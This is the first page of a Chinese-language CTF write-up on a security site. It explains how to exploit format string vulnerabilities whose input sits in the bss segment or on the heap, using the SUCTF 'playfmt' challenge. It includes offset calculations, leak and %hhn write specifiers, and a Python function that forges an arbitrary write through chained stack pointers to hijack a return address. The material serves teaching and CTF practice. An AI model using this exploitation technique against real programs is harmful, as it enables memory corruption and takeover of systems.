欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

非栈上格式化字符串漏洞利用技巧

来源:本站整理 作者:佚名 时间:2019-08-29 TAG: 我要投稿

关于Linux栈上格式化字符串漏洞的利用网上已经有许多讲解了,但是非栈上的格式化字符串漏洞很少有人介绍。这里主要以上周末SUCTF比赛中playfmt题目为例,详细介绍一下bss段上或堆上的格式化字符串利用技巧。
 
0x01基础知识点
格式化字符串漏洞的具体原理就不再详细叙述,这里主要简单介绍一下格式化参数位置的计算和漏洞利用时常用的格式字符。
参数位置计算
linux下32位程序是栈传参,从左到右参数顺序为$esp+4,$esp+8,...;因此$esp+x的位置应该是格式化第x/4个参数。
linux下64位程序是寄存器加栈传参,从左到右参数顺序为$rdi,$rsi,$rdx,$rcx,$r8,$r9,$rsp+8,...;因此$rsp+x的位置应该是格式化第x/8+6个参数。
常用的格式化字符
用于地址泄露的格式化字符有:%x、%s、%p等;
用于地址写的格式化字符:%hhn(写入一字节),%hn(写入两字节),%n(32位写四字节,64位写8字节);
%$type:直接作用第number个位置的参数,如:%7$x读第7个位置参数值,%7$n对第7个参数位置进行写。
%c:输出number个字符,配合%n进行任意地址写,例如"%{}c%{}$hhn".format(address,offset)就是向offset0参数指向的地址最低位写成address。
 
0x02非栈上格式化字符串漏洞利用
​ 一般来说,栈上的格式化字符串漏洞利用步骤是先泄露地址,包括ELF程序地址和libc地址;然后将需要改写的GOT表地址直接传到栈上,同时利用%c%n的方法改写入system或one_gadget地址,最后就是劫持流程。但是对于BSS段或是堆上格式化字符串,无法直接将想要改写的地址指针放置在栈上,也就没办法实现任意地址写。下面以SUCTF中playfmt为例,介绍一下常用的非栈上格式化字符串漏洞的利用方法。
例题
题目说明
程序漏洞点比较明显,直接写了一个循环的printf格式化漏洞,而输入的数据是存储在buf指针上,buf则是位于bss段中地址为0x0804B040。
int do_fmt(void)
{
  int result; // eax
  while ( 1 )
  {
    read(0, buf, 0xC8u);
    result = strncmp(buf, "quit", 4u);
    if ( !result )
      break;
    printf(buf);
  }
  return result;
}
.bss:0804B040                 public buf
.bss:0804B040 ; char buf[200]
.bss:0804B040 buf             db 0C8h dup(?)    ; DATA XREF: do_fmt(void)+E↑o
查看一下程序的保护,可以发现开启了RELRO,也就是无法改写GOT表,所以思路就是直接修改栈上的返回地址,return的时候劫持流程。

泄漏地址
首先需要得到当前栈的地址和libc的基地址,这些地址可以很轻松的在栈上找到,其中esp+0x18存放了栈地址,esp+0x20存放了libc的地址,可以得到分别是第6个参数和第8个参数,直接传入%6$p%8$p即可得到栈地址和libc地址。

任意地址写
这里主要需要解决的就是如何将要改写的地址放在栈上。实现任意地址写需要依赖栈上存在一个链式结构,如0xffb5c308->0xffb5c328->0xffb5c358,这三个地址都在栈上。

下图是一个简单的栈地址空间图,offset表示格式化的参数位置。通过第offset0个参数,利用%hhn可以控制address1的最低位,再通过第offset1个参数,利用%hhn可以写address2的最低位;然后通过offset0参数,利用%hhn修改address1的最低位为原始值+1,再通过offset1参数,利用%hhn可以写address2的次低位;依次循环即可完全控制address2的值,再次利用address1和address2的链式结构,即可实现对address2地址空间的任意写。对应到上面显示的地址空间,address0=0xffb5c308,offset0=0x18/4=6;address1=0xffb5c328,offset1=0x38/4=14;address2=0xffb5c358,offset2=0x68/4=26;

下面是地址写代码的实现,首先获取address1的最低位的原始值,然后依次写address2的各个字节。
def write_address(off0,off1,target_addr):
    io.sendline("%{}$p".format(off1))
    io.recvuntil("0x")
    addr1 = int(io.recv(8),16)&0xff
    io.recv()
    for i in range(4):
        io.sendline("%{}c%{}$hhn".format(addr1+i,off0))
        io.recv()
        io.sendline("%{}c%{}$hhn".format(target_addr&0xff,off1))
        io.recv()       
        target_addr=target_addr>>8
    io.sendline("%{}c%{}$hhn".format(addr1,off0))
    io.recv()
效果图如下,可以看到esp+0x68的位置已经是栈上返回地址的存放位置(这是另一次的运行截图,栈地址有所变化)。

[1] [2]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载